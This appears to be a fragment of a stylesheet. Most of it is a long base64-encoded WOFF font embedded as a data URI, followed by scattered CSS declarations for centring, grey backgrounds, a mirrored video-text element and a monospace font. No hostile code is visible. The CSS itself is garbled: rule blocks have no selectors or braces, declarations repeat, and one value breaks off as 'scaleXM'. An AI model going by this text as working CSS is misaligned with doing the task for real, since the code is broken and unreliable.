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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #737373;
    font-size: 18px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
